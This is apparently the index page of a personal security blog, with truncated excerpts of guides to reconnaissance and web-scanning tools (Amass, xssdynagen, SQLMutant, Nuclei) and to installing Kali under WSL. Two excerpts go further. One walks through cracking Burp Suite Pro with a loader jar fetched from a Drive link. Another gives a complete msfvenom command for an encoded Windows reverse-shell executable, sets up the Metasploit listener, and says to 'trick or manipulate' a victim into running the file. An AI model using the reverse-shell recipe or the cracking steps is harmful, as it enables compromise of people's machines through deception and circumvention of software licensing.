Avi's blog

 Installation guide: https://github.com/owasp-amass/amass/blob/master/doc/install.md Usage: https://github.com/owasp-amass/amass/blob/master/doc/tutorial.md External Attack surface monitoring using Owasp Amass project. This is also called reconnaissance or information gathering phase to more than 80 sources. It an wonderful tool to use. Results are almost accurate. But you should check if you see a result that is not familiar to you. Because amass taking data from the third party db. So there is a possibility that, that of db giving amass fake data. Though amass apply dns enumeration for better result but still it is worth checking for weird informations.  Comes with 3 subcommands. amass intel|enum|db amass intel -- Discover target namespaces for enumerations i.e. target is associated with how many domains!!!! amass enum -- Perform enumerations and network mapping of those domains and sub-domains. amass db -- Manipulate the Amass graph database Amass Intel amass intel ...

Link to the repo:  https://github.com/Cybersecurity-Ethical-Hacker/xssdynagen?tab=readme-ov-file git clone https://github.com/Cybersecurity-Ethical-Hacker/xssdynagen.git cd xssdynagen The following 4 packages are needed for this tool to work and are already installed in kali.  pipx install aiohttp  pipx install colorama pipx install tqdm pipx install "uvloop>=0.17.0" You can always check the package existence: dpkg -l | grep packagename If not installed then use this command: pip/pip3 install -r requirements.txt If that also does not work then: apt install python3-aiohttp apt install python3-colorama apt install python3-tqdm apt install python3-uvloop In kali you need to install paramspider: apt install paramspider -y paramspider -d example.com   (Though this command in kali does not work) For ubuntu: git clone https://github.com/0xKayala/ParamSpider cd ParamSpider pip/pip3 install -r requirements.txt (If giving error then install the packages in above mentioned w...

This tool is perfectly works on ubuntu 24 system. And I found it is not working properly in kali linux 24 version.   https://github.com/blackhatethicalhacking/SQLMutant/tree/main This tool need to use along with sqlmap tool. Showing this cheat sheet for kali or debian based system.  This tool actually analyze everything and give you the vulnerable url where sql injection is possible. You just need to use then sqlmap to exploit that.   Prerequisite: apt install pipx -y (for ubuntu) pip3 install uro or pipx install uro pipx ensurepath pipx completions  (not needed)  source ~/.bashrc   or restart system If go tool is not installed then run the below two commands first ( golang-go ) or follow this link to install go (https://mahimfiroj.blogspot.com/2024/12/installing-nuclei-in-kali.html) otherwise skip this step.   dpkg -l | grep packagename (Using this command you can check package is installed or not) apt install gccgo-go -y or apt install gol...

  Cracking burpsuite in kali: https://drive.google.com/drive/folders/13WQeT99kyyeWOmKGRKnjTKzCJmkrKdUa (This is not shared link. Log in to ovi.it88 gmail id and then click on the link) Follow step by step procedure...... Download the tool from the above link. Place the tool in /tmp folder or in any folder where you have permission in kali. Assuming the tool is under this folder -->  burpsuite_pro_v2024.5 for linux. Go to that /tmp/burpsuite_pro_v2024.5 for linux folder Open command prompt meaning terminal there and run this command, be on kali user or other user rather than root because if you are in root then you wont be able to download the latest version of burpsuite: From this link, the latest version is downloaded:  https://portswigger-cdn.net/burp/releases/download?product=pro&type=Jar&version=2026.1.2 java -jar burploader.jar A pop-up window will appear. Click Run then another pop up window called license agreement will appear. Uncheck the data sendin...

  1. From the start menu, type "Turn Windows features on or off". Check the box, Virtual Machine Platform and Windows Subsystem for Linux or in the command prompt simply give this command: wsl.exe --install --no-distribution Now Restart the system.  If wsl is already installed, then give this command: wsl.exe --update 2. Now from Microsoft store download kali linux and install it. Or you can give this command to see list of distributions. Then install based on your choice.  To see list of distributions: wsl.exe --list --online To install: wsl.exe --install --distribution <Distro Name> i.e.  wsl --install --distribution kali-linux 3. Now it will ask for username and password, say at the time of installing kali-linux here. Provide that.  4. Once it is installed, it has come with very minimum package installation.  Run the following commands to install all packages: sudo apt update sudo apt full-upgrade -y sudo apt install -y kali-linux-default (This re...

  Metasploit: Malicious executable creation: Command: msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp lhost=192.168.2.120 lport=4343 -b '\x00' -e x86/shikata_ga_nai -f exe -o shell.exe Now you need to transfer this exe to the victim. The victim needs to click on this to initiate the reverse shell. Before that in your attacking machine you need to listen for a connection so that the reverse shell from victim can connect to you easily.  Type msfconsole in your kali shell. Type following commands one by one beside msf6>   use multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.2.120        (This is you attack machine ip) set lport 4343 run Now trick or manipulate victim to click on that shell.exe You will get meterpreter shell like this.  Meterpreter session 1 opened (192.168.2.120:4343 -> 192.168.2.252:49266) at 2017-09-06 17:04:07 +0000 meterpreter>   Now if the user who clicked on the shell.exe...

 First you need to install go: https://go.dev/doc/install You need to download this go tool go1.23.4.linux-amd64.tar.gz by clicking the Download button.  Say you are root and download the tool in your Downloads directory. Now run the below command: tar -C /usr/local -xzf go1.23.4.linux-amd64.tar.gz (if this cmd fails then you need to move this tool to /usr/local folder then run this cmd tar -xzf  go1.23.4.linux-amd64.tar.gz) Now add /usr/local/go/bin to the PATH environment variable. You can do this by adding the following line to your $HOME/.profile or /etc/profile (for a system-wide installation): export PATH=$PATH:/usr/local/go/bin Now use the following command for immediate effect. Preventing you from log off then log back in: source $HOME/.profile go version (to check it is installed successfully) Install nuclei: go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest or apt install nuclei nuclei -update-templates nuclei -u https://www.domain....